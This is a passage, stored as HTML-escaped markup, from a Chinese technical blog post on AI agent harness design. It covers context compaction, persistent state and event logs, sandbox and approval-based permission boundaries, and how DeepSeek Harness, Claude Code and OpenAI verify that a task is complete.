52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;context-overflow&lt;/code&gt;&amp;nbsp;时，系统可以选择一段模型当前可见的历史生成摘要，再用摘要替换模型后续看到的那部分内容。被替换的原始事件以及压缩过程本身的记录仍然保留在持久日志中。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;2&quot; loading=&quot;lazy&quot; data-src=&quot;https://img2024.cnblogs.com/blog/3796273/202608/3796273-20260819135250129-1321611900.png&quot; src=&quot;https://img2024.cnblogs.com/blog/3796273/202608/3796273-20260819135250129-1321611900.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;这里存在两个不同层次：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;上下文决定模型当前看到什么，持久状态记录系统已经发生过什么。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;上下文可以动态重组、分阶段重置和局部压缩；持久日志则负责保留执行历史，用于恢复和重建。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;上下文窗口变长以后，Harness 仍然需要控制每一步实际进入模型的信息，并保证关键规则在压缩或重置后能够继续生效。&lt;/p&gt;&lt;h2 id=&quot;持久化状态决定任务中断后如何继续&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;持久化状态决定任务中断后如何继续&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;只存在于对话中的信息，会随着上下文重置、进程退出或会话结束而消失。长程 Agent 因此需要一套独立于当前对话的持久状态。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;一种成本很低的状态持久化方式，是直接在代码仓库中维护四个文件。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;SPEC.md&lt;/code&gt;&amp;nbsp;定义最终要做什么，由人维护，Agent 不修改，用来避免长任务中的目标漂移；&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;PLAN.md&lt;/code&gt;&amp;nbsp;记录执行步骤，每一步都带有明确的验收条件。相比“改进错误处理”，更好的写法是明确某个请求应该返回什么状态码，以及对应测试必须通过。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;PROGRESS.md&lt;/code&gt;&amp;nbsp;记录已经完成什么、下一步是什么，以及哪些办法已经尝试但失败，新的 Agent 可以首先从这里恢复任务进度；&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;DECISIONS.md&lt;/code&gt;&amp;nbsp;则采用&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;只追加&lt;/strong&gt;方式，记录已经做出的关键选择及原因，避免后续会话重新讨论已经解决的问题。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;在此基础上，每一个可以正常工作的修改都做一次小粒度&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Git 提交&lt;/strong&gt;。这样可以直接通过&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;git revert&lt;/code&gt;&amp;nbsp;回滚，通过代码差异进行审查，Git 历史本身也能承担一部分任务执行记录。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;如果项目包含大量相对独立的功能，还可以增加一个简单的 JSON 状态表，记录每个功能当前是通过还是失败。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;「Agent Harness 设计」中将这一套状态设计概括为：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;If it&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;isn****&amp;#39;t in a file, it doesn&amp;#39;t exist.&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;DeepSeek Harness 将同一类问题进一步系统化到会话层&lt;/strong&gt;。&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;一个会话的核心是一条只追加的&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;SessionEvent&lt;/code&gt;&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;事件日志&lt;/strong&gt;。用户消息、Agent 回复、工具调用、工具结果、轮次、步骤，以及 Goal、授权确认、上下文压缩等状态都会作为事件持续追加。模型使用的消息历史同样从这条事件日志中派生。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;官方架构将这一约束表述为：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Model-visible means logged。&lt;/strong&gt;也就是：凡是真正进入模型请求、对模型可见的信息，都必须能够从日志中重建。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;统一的事件日志进一步成为恢复、分叉、重放和持久化等能力的基础。&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;DeepSeek 当前为会话持久化提供&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;JSONL 和&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;SQLite&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;两种后端&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;崩溃恢复同样建立在这套机制上。对于从持久化存储冷恢复的会话，如果发现某个轮次在崩溃前已经写入&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;turn/start&lt;/code&gt;，但没有正常写入&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;turn/end&lt;/code&gt;，系统不会删除已经持久化的中间事件，而是补记一个&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;interrupted&lt;/code&gt;&amp;nbsp;的&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;turn/end&lt;/code&gt;，为这次异常中断补上明确边界。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;会话查询可以在这套逻辑会话数据上进行会话和事件查询，并提供可选的全文检索能力。不过这些能力并不会默认全部暴露给模型：当前内置 Agent 预设不挂载面向模型的会话搜索工具，SQLite 全文索引默认也处于关闭状态。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;对于长程 Agent，“记忆”至少包含两个层面：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;当前模型使用的上下文，以及能够跨上下文重置和进程&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;重启&lt;/strong&gt;&lt;/strong&gt;恢复的持久状态。&lt;/strong&gt;&lt;/p&gt;&lt;h2 id=&quot;权限边界决定-agent-可以触碰什么&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;权限边界决定 Agent 可以触碰什么&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;当 Agent 拥有执行 Shell、修改代码库、调用已经登录的 CLI 乃至读取本地凭证的能力时，自然语言提示词很难单独构成可靠的安全边界。&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;提示词中的行为约束与运行时的实际执行权限，需要分开处理。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;权限边界至少需要覆盖四个方面：&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;文件系统与网络访问、授权确认、共享系统入口，以及凭证。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;首先，文件系统和网络边界尽量放在操作系统或执行环境层：限制 Agent 可以写入哪些目录，并通过代理和允许列表控制网络访问。这样 Agent 启动的子进程仍然处于同一套边界中。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;其次，&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;授权确认不适合作为主要安全边界&lt;/strong&gt;。真正需要人工判断的高风险操作可以要求确认，大量默认通过的确认只会持续阻塞无人值守执行。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;多人使用 Agent 访问共享系统时，可以在共享系统前增加&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;网关&lt;/strong&gt;，只向当前任务暴露声明需要的能力，同时记录每一次调用。凭证则尽量采用短生命周期、按任务限定作用域的 Token，减少长期凭证进入 Agent 执行环境。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;DeepSeek Harness 的实现进一步区分了提示词指导与实际权限&lt;/strong&gt;。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Plan Mode&lt;/strong&gt;&amp;nbsp;提供软性指导，用于调整 Agent 当前收到的提示信息；沙箱和授权确认则独立承担执行层限制。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;提示词中写“不要修改这个目录”属于模型行为约束；执行环境实际拒绝对应写操作，才构成真实的权限边界。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;DeepSeek 当前的&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;SandboxMode&lt;/code&gt;&amp;nbsp;包含&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;read-only&lt;/code&gt;、&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;workspace-write&lt;/code&gt;&amp;nbsp;和&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;danger-full-access&lt;/code&gt;。本地沙箱后端根据平台使用 Linux bwrap / Landlock、macOS Seatbelt，以及 Windows ACL、受限令牌等机制。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;这套策略主要面向需要受限进程执行的能力，并非所有工具都统一经过同一个沙箱。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;沙箱还会区分&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;full&lt;/code&gt;&amp;nbsp;与&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;partial&lt;/code&gt;&amp;nbsp;两种执行完整度。当策略要求受限执行，而当前环境无法提供对应沙箱时，系统采用失败即关闭，不会静默退化成不受限执行；如果调用方要求完整保证，也不能把&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;partial&lt;/code&gt;&amp;nbsp;当成&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;full&lt;/code&gt;。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;授权确认负责判断某个具体操作是否允许继续。当前策略包括&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;ask&lt;/code&gt;&amp;nbsp;和&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;never&lt;/code&gt;，没有可用的授权处理器时不会自动放行。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;SandboxMode&lt;/code&gt;&amp;nbsp;当前约束的是&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;文件系统影响&lt;/strong&gt;，网络访问和进程可见性不属于这一抽象本身的保证范围。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;所以，沙箱只是权限体系的一部分。网络允许列表、凭证、网关、授权确认和审计分别处理不同类型的执行风险。&lt;/p&gt;&lt;h2 id=&quot;verified-决定任务何时完成&quot; style=&quot;margin: 10px 0px; padding: 0px; color: rgb(0, 0, 0); font-size: 21px; line-height: 1.5; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Verified&lt;/strong&gt;&amp;nbsp;决定任务何时完成&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Loop 停止后，系统仍需判断执行结果是否满足验收条件。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;为了区分“停止执行”和“通过验收”，本文把一次任务的结束进一步拆成三个层次：&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Stop（停止） ≠ Done（自报完成） ≠ Verified（已验证）&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;Stop 表示当前 Loop 已经停止；Done 表示执行 Agent 判断目标已经完成；Verified 则要求系统根据验收条件和可检查证据确认结果成立。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;任务验收可以从五个方面减少执行 Agent 自我判断带来的偏差。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;首先是&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;在新会话中执行审查&lt;/strong&gt;。审查者不携带实现阶段的对话上下文，可以减少生成阶段的错误假设继续影响验收。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;其次要&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;依赖真实运行，而不是只看代码差异&lt;/strong&gt;。Web 应用应该实际通过浏览器打开和操作，CLI 应真正执行命令。只让模型再读一遍代码差异，本质上仍然缺少真实运行证据。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;历史失败还可以沉淀成&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;评测集&lt;/strong&gt;。这里建议先从 20～50 个 Agent 曾经做错的真实任务开始，这个数量属于「Agent Harness 设计」经验之谈，不是统一标准。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;同一个任务还应该执行多次，并关注表现最差的一次。建议每个任务运行 3 次。若单次成功率为 75%，连续 3 次全部通过的概率约为 42%，因此一次成功运行很难证明 Harness 已经稳定。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;还要警惕&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;自信但错误的回答&lt;/strong&gt;：Agent 的失败不一定表现为直接崩溃，也可能是在已经出现错误后，生成一段流畅解释，判断这个错误不影响结果。验证机制因此需要同时检查错误附近的模型输出和最终运行状态。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;目前&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;重试策略&lt;/strong&gt;仍没有统一、充分验证的方案。失败后重试多少次、采用怎样的退避策略、继续当前会话还是重新启动干净会话，都需要结合具体任务和失败类型设计。「Agent Harness 设计」也明确把这一部分视为尚未形成可靠经验数据的区域。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;DeepSeek Harness 当前没有把执行者上报的&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;complete&lt;/code&gt;&amp;nbsp;视为独立的完成认证。同会话目标与 Ralph 的&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;complete&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;blocked&lt;/code&gt;&amp;nbsp;仍属于&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;模型或执行者声明&lt;/strong&gt;；独立评估器、完成凭证、确定性检查器、对抗式验证器，以及相关的验收条件、执行器与隔离契约，目前仍属于延后工作。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;DeepSeek 也没有直接引入 Claude Code 式评估器。其设计说明认为，只读取对话记录的模型评估器可以作为一种验证策略，但不足以直接形成通用可信的完成凭证。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Claude Code&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px 3px; padding: 0px 5px; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; line-height: 1.8; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/goal&lt;/code&gt;&lt;/strong&gt;&amp;nbsp;采用了另一种完成验收机制：用户先定义&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;完成条件&lt;/strong&gt;，每个轮次结束后，系统额外调用一个小型快速模型作为评估器，默认使用 Haiku，根据完成条件和当前对话判断目标是否满足。这个评估器本身不调用工具，因此它能验证到什么程度，取决于执行 Agent 是否已经把测试结果等关键证据带入对话记录。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Claude Code&lt;/strong&gt;&amp;nbsp;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;Hooks&lt;/strong&gt;&amp;nbsp;提供了另一层验证机制。确定性条件可以通过 Command Hook 运行测试、Lint 或检查文件状态；需要语义判断时可以使用 Prompt Hook；需要读取文件、搜索代码或执行命令的复杂验证，可以使用 Agent Hook。Anthropic 当前仍将 Agent Hook 标记为实验性能力，并建议生产工作流优先使用确定性的 Command Hook。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;OpenAI 的 Harness Engineering&lt;/strong&gt;&amp;nbsp;实践则强调提高环境的 Agent 可读性：让 Agent 能够访问应用 UI、DOM 快照、截图、日志、指标和 Traces，并直接启动和操作应用，从真实运行状态中获得验证证据。Codex 还会审查自己的修改，并请求额外的 Agent 审查，根据人类或其他 Agent 的反馈继续迭代；人类仍负责优先级、验收条件和最终结果验收。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;OpenAI 同时强调，这种高度自治依赖具体代码仓库的结构和工具体系，不能直接假设同样的效果可以迁移到其他工程环境。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;为了区分单次任务的完成验收与 Harness 本身的长期可靠性，本文把验证进一步分成两个层面。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;运行时验收&lt;/strong&gt;发生在任务执行过程中：根据预先定义的验收条件和可检查证据判断当前任务是否可以结束。测试、构建、静态分析和运行状态等都可以提供证据，最终判断可以由确定性检查器、评估器或独立审查 Agent 完成。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: left;&quot;&gt;&lt;strong style=&quot;margin: 0px; padding: 0px;&quot;&gt;系统级评测&lt;/strong&gt;则面向 Harness 本身的长期表现：把真实失败案例持续加入回归评测集，通过一批任务和多次运行观察 Harness 的能力、稳定性和回归情况。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; text-align: 